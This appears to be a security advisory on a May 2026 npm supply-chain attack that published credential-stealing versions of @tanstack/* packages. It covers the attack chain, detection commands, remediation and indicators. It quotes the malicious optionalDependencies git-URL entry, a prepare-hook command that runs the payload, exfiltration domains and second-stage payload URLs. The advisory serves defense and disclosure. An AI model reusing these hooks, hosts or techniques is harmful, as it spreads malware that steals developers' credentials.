On 2026-05-11, between approximately 19:20 and 19:26 UTC, 84 malicious versions across 42 @tanstack/* packages were published to the npm registry. The publishes were authenticated via the legitimate GitHub Actions OIDC trusted-publisher binding for TanStack/router, but the publish workflow itself was not modified. The attacker chained three known vulnerability classes — a pull_request_target "Pwn Request" misconfiguration, GitHub Actions cache poisoning across the fork↔base trust boundary, and runtime memory extraction of the OIDC token from the Actions runner process — to publish credential-stealing malware under a trusted identity.
Each affected package received exactly two malicious versions, published a few minutes apart.
A user installing any affected version executes a payload (~2.3 MB obfuscated router_init.js) at install time that:
~/.npmrc (npm tokens)gh CLI config, .git-credentials)~/.ssh/)filev2.getsession.org, seed{1,2,3}.getsession.org). This is end-to-end encrypted with no attacker-controlled C2, so blocking by IP or domain is the only network mitigation.registry.npmjs.org/-/v1/search?text=maintainer:<user> and republishes them with the same injection, propagating the compromise across npm.Any developer or CI environment that ran npm install, pnpm install, or yarn install against an affected version on 2026-05-11 should be considered compromised. All credentials accessible to the install process should be rotated immediately. Cloud audit logs should be reviewed for activity originating from the affected hosts during and after the install window.
Inspect the published manifest of any pinned @tanstack/* version. Malicious manifests contain this exact optionalDependencies entry:
"optionalDependencies": {
"@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}
To check a version without running install scripts:
npm pack @tanstack/<name>@<version> # downloads tarball; does NOT execute lifecycle scripts
tar -xzf *.tgz
grep -A3 optionalDependencies package/package.json
ls -la package/router_init.js # malicious payload, ~2.3 MB, present at package root
The payload file router_init.js is approximately 2.3 MB of obfuscated JavaScript. It is placed at the tarball root and is intentionally not declared in the package's "files" array, so it does not appear in the package's documented contents.
@tanstack/setup is not a real package on the npm registry. The github:tanstack/router#79ac49ee... specifier resolves to an orphan commit pushed to a fork in the tanstack/router GitHub fork network. GitHub serves commits across the entire fork network for git-URL dependencies, so the attacker did not require write access to TanStack/router itself — only the ability to fork and push to their own fork.
When npm processes the optional dependency, it:
bun binary).prepare lifecycle script: bun run tanstack_runner.js && exit 1. The trailing exit 1 causes the optional install to fail, after which npm silently discards it — leaving no node_modules trace.tanstack_runner.js script in turn executes router_init.js from the host package's tarball.Affected versions are being deprecated on npm with a SECURITY: notice. Where npm policy allows (no existing third-party dependents), affected versions are also being unpublished. The npm security team has been engaged to pull tarballs server-side for versions that cannot be unpublished.
Clean follow-up releases are being prepared. Update to the patched version listed in the affected-products table for each package, then reinstall from a clean lockfile.
Until clean follow-up releases are available:
@tanstack/* dependency to a known-good version published before 2026-05-11 19:00 UTC. The last known-good version for most affected packages was published on 2026-03-15.node_modules and the lockfile, then reinstall to ensure no transitive dependency resolves to a malicious version.npm config set ignore-scripts true) as a temporary defense-in-depth measure.install against @tanstack/* between 19:20 and 19:30 UTC on 2026-05-11. Treat the runner as compromised and rotate any secrets it had access to.| Indicator | Value |
|---|---|
| Malicious git ref | github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c |
| Fictitious package name | @tanstack/setup |
| Payload filename | router_init.js (~2.3 MB, package root, undeclared in files) |
| Helper filename in orphan commit | tanstack_runner.js |
| Exfiltration network | filev2.getsession.org, seed1.getsession.org, seed2.getsession.org, seed3.getsession.org |
| Second-stage payload URLs | https://litter.catbox.moe/h8nc9u.js, https://litter.catbox.moe/7rrc6l.mjs |
| Poisoned cache key | Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11 |
| Publish window (UTC) | 2026-05-11 19:20 — 19:26 |
| Publish mechanism | GitHub Actions OIDC trusted publisher (oidc:db7d6f54-05d5-412b-8a10-e7a8398b303e) |
| Workflow runs | https://github.com/TanStack/router/actions/runs/25613093674 (attempt 4), https://github.com/TanStack/router/actions/runs/25691781302 |
| Attacker GitHub accounts | zblgg (id 127806521), voicproducoes (id 269549300) |
| Attacker fork (renamed to evade detection) | https://github.com/zblgg/configuration |
{
"github_reviewed": true,
"github_reviewed_at": "2026-05-12T00:12:49Z",
"cwe_ids": [
"CWE-506"
],
"severity": "CRITICAL",
"nvd_published_at": "2026-05-12T01:16:46Z"
}